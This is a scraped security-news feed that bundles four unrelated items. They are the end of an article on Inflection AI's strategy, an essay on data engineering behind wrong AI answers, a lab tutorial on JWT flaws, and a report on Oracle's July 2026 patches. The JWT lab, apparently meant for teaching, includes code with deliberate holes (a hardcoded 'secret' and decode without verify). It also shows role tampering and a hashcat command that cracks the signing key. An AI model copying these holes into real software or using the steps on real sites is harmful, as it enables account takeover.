in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
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<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
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<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687351/ai-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687351/ai-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:52:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html" target="_blank" rel="noreferrer noopener">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



